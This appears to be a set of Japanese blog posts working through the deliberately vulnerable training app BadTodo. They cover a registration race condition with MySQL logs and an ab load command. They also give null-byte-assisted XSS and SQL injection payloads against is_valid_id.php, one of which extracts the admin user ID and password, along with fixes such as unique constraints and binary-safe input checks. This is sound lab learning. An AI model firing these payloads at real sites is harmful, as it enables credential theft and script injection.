ロックがたくさん発生するとDBの動作が遅くなってしまう点には注意が必要です。

検査実行時のクエリを確認すると「START TRANSACTION」から「commit」まで一連の流れとなっています。

1047 Connect  root@172.18.0.4 on todo using TCP/IP
1047 Query    SET NAMES utf8
1047 Query    SELECT COUNT(*) FROM session
1047 Query    SELECT data, expire FROM session WHERE id='17a2ebf0fbbde9da0dd4fcd25aea4483'
1048 Connect  root@172.18.0.4 on todo using TCP/IP
1048 Query    SET NAMES utf8
1048 Query    START TRANSACTION
1048 Query    SELECT COUNT(*) FROM users WHERE userid='toctou'
1048 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1048 Query    SELECT MAX(id) FROM users
1048 Query    INSERT INTO users VALUES('5', 'toctou', 'toctou', 'toctou@example.com', '656b26f258d99-man1.png\n', '0')
1048 Query    commit

問題があるような流れの場合は「rollback」されています。(下記はそもそも一つ目が登録されてしまった後のため「重複エラー」の方でひっかかっているはずですが)

1070 Query    START TRANSACTION
1073 Query    START TRANSACTION
1071 Quit
1070 Query    SELECT COUNT(*) FROM users WHERE userid='toctou'
1073 Query    SELECT COUNT(*) FROM users WHERE userid='toctou'
1072 Query    SELECT data, expire FROM session WHERE id='6d2e402d214e47eddd37f106b7bd37b0'
1069 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1070 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1073 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1069 Query    rollback
1073 Query    rollback

その他、トランザクションに関係する設定を確認してみました。
自動コミットモードが有効であるか。

> SELECT @@autocommit;
+--------------+
| @@autocommit |
+--------------+
|            1 |
+--------------+

デフォルトでは、MySQL は自動コミットモードが有効になった状態で動作します。 つまり、特にトランザクション内にない場合、各ステートメントは START TRANSACTION および COMMIT で囲まれているかのようにアトミックです。 ROLLBACK を使用して効果を元に戻すことはできませんが、ステートメントの実行中にエラーが発生した場合、ステートメントはロールバックされます。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.3.1 START TRANSACTION、COMMIT および ROLLBACK ステートメント

トランザクション分離レベル

> SELECT @@GLOBAL.tx_isolation, @@tx_isolation;
+-----------------------+-----------------+
| @@GLOBAL.tx_isolation | @@tx_isolation  |
+-----------------------+-----------------+
| REPEATABLE-READ       | REPEATABLE-READ |
+-----------------------+-----------------+

REPEATABLE-READ : 「ファントムリード」発生の恐れあり。
ファントムリード:2回の SELECT文の間に、他の人が INSERT文で行を追加すると、2回の SELECTで結果行数が変わってしまう副作用。1回目の検索結果の行数に依存するような処理を行う場合に問題となることがある。

その他。「id カラム、userid カラム」に一意制約(UNIQUE)がありません。排他制御が十分でない場合、id の重複が発生する可能性があります。(実際、前述の「手動で追加してダブらせた例」では id, userid を重複させて登録できています)

MariaDB [todo]> show columns from users; (> DESC users; でもよい)
+--------+--------------+------+-----+---------+-------+
| Field  | Type         | Null | Key | Default | Extra |
+--------+--------------+------+-----+---------+-------+
| id     | int(11)      | NO   |     | NULL    |       |
| userid | varchar(64)  | NO   |     | NULL    |       |
| pwd    | varchar(6)   | NO   |     | NULL    |       |
| email  | varchar(64)  | NO   |     | NULL    |       |
| icon   | varchar(128) | NO   |     | NULL    |       |
| super  | int(11)      | NO   |     | 0       |       |
+--------+--------------+------+-----+---------+-------+
 
一意制約を追加する場合。
今回の場合は「主キー」もないため id の方を主キーとして追加します。
MariaDB [todo]> ALTER TABLE `users` ADD PRIMARY KEY(id);
MariaDB [todo]> ALTER TABLE `users` ADD UNIQUE(userid);
MariaDB [todo]> show columns from users;
+--------+--------------+------+-----+---------+-------+
| Field  | Type         | Null | Key | Default | Extra |
+--------+--------------+------+-----+---------+-------+
| id     | int(11)      | NO   | PRI | NULL    |       |
| userid | varchar(64)  | NO   | UNI | NULL    |       |
| pwd    | varchar(6)   | NO   |     | NULL    |       |
| email  | varchar(64)  | NO   |     | NULL    |       |
| icon   | varchar(128) | NO   |     | NULL    |       |
| super  | int(11)      | NO   |     | 0       |       |
+--------+--------------+------+-----+---------+-------+
 
これによりダブって追加されるとエラーになる。
MariaDB [todo]> INSERT INTO `users` (`id`, `userid`, `pwd`, `email`, `icon`, `super`)
    -> VALUES ('5', 'toctou', 'toctou', 'toctou@example.com', '656b26f258d99-man1.png', '0');
ERROR 1062 (23000): Duplicate entry '5' for key 'PRIMARY'
 
元に戻す。
MariaDB [todo]> ALTER TABLE `users` DROP PRIMARY KEY;
MariaDB [todo]> ALTER TABLE `users` DROP INDEX `userid`;

実習用仮想マシン(Docker版 Ver 1.1.0) *1の場合

排他制御がないため重複したIDで登録できます。(Ver 1.1.0の登録直前の adduser.phpではそもそも重複のチェックすら行っていないため abコマンドで連続して送信する必要もなく手動でも可能です。またこちらでは「id」カラムに一意制約が付いていました)

$ ab -c 20 -n 40 -p ab_post_data2.txt -T application/x-www-form-urlencoded http://{検査対象アドレス}/todo/adduser.php

www.youtube.com

www.youtube.com

次回:やられアプリ BadTodo - 26 レースコンディション - demandosigno

*1:ダウンロードから(要認証)パスワードは「安全なWebアプリケーションの作り方 第2版 p.667に記載」

やられアプリ BadTodo - 24.3 NULLバイト攻撃(+XSS)

前回:やられアプリ BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション) - demandosigno

前回と同じ場所で今度はXSSを試します。

入力値
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%3Cscript%3Ealert(1)%3C/script%3E

Nullバイト(%00)を入れているためバリデーションは回避できているようです(true)
しかし入力値が何も出力されないためXSSは発動しません。
(JSONを返しているのに Content-Type が application/json ではなく text/html であることも問題の一つですがまた後日)

前回SQLインジェクションを試した際に、シングルクォーテーション' = %27の入力でSQLエラーを出せることが分かりました。
試しに%27と少しの文字列を入れてみます。
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%27hoge
これで入力値をレスポンスに出力できそうです。

さらにスクリプトを追加してみます。
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%27hoge%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
表示上はこう。

ソース上はこう。

ダブルクォーテーションやスラッシュが円記号¥でエスケープ処理されています。

そこで / を使わないイベントハンドラのスクリプトで試します。
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%27hoge%3Cimg%20src=0%20onerror=%27alert(1)%27%3E
XSSが発動しました。
ソース上では次の通り。
img の src=0 としているため存在せず error イベントが発生します。

対策

安全なWebアプリケーションの作り方 第2版 p.108より引用
ヌルバイト攻撃に対する根本的対策は、バイナリセーフの関数のみを用いてアプリケーションを開発することですが、現実にはそれは困難です。なぜなら、ファイル名のように仕様上ヌルバイトを許容しないパラメータがあるからです。このため、アプリケーションの入り口でバイナリセーフの関数を用いて入力値のヌルバイトをチェックし、ヌルバイトがあればエラーにすることにより確実な対応が可能になります。

teratail - ヌルバイト攻撃について

できるだけ新しいPHPを使う。
PHP5.3.4以降ではヌルバイト攻撃対策がされています。 t-komura.hatenadiary.org

次回:やられアプリ BadTodo - 25 TOCTOU競合 - demandosigno

やられアプリ BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション)

前回:やられアプリ BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード) - demandosigno

新規ユーザー登録時などにバリデーションチェックが入り(記号などの入力はダメで)「英数字で」と注意されます。

この時のチェックはAPIが行っているのですが、このidパラメータにSQLインジェクションがあります。

まず、問題ない入力の場合。
https://todo.example.jp/api/v1/is_valid_id.php?id=test
true が返ってきます。

次にSQLインジェクションを試します。
BadTodo - 3.4 SQLインジェクション ID・パスワードの取得で試した「エラーメッセージに情報を埋め込む」方法を使います。(MySQLのextractvalue関数を使いXPATHのエラーを起こし、サブクエリの結果をCONCATで展開して目的の文字列を取得する)

https://todo.example.jp/api/v1/is_valid_id.php?id=test%27%20AND%20EXTRACTVALUE(0,(SELECT%20CONCAT(%27$%27,userid,%27:%27,pwd)%20FROM%20users%20LIMIT%200,1))+--+
バリデーションチェックにより攻撃文字列を通すことができず通常のエラーになります。

ここで前回BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード)と同じくNULLバイト(%00)を追加します。
https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20AND%20EXTRACTVALUE(0,(SELECT%20CONCAT(%27$%27,userid,%27:%27,pwd)%20FROM%20users%20LIMIT%200,1))+--+
するとAdminのユーザー名とパスワードを表示させることができました。

ソースコード is_valid_id.php にて ereg() という正規表現関数を用いて値を検証しているのですが、前回と同じくこちらもバイナリセーフではない関数なので%00で検査対象文字列が終わっていると判断されチェックをすり抜けます。

<?php
~(中略)~
if (!ereg('^[a-zA-Z0-9]{3,16}$', $userid)) {
    echo '{"ok": false, "message": "ユーザIDは英数字で3文字以上、16文字以内で指定してください"}';
    exit;
}

ereg関数は PHP 5.3.0 で非推奨となり、PHP 7.0.0 で削除されました。

次回:やられアプリ BadTodo - 24.3 NULLバイト攻撃(+XSS) - demandosigno

/* -----codeの行番号----- */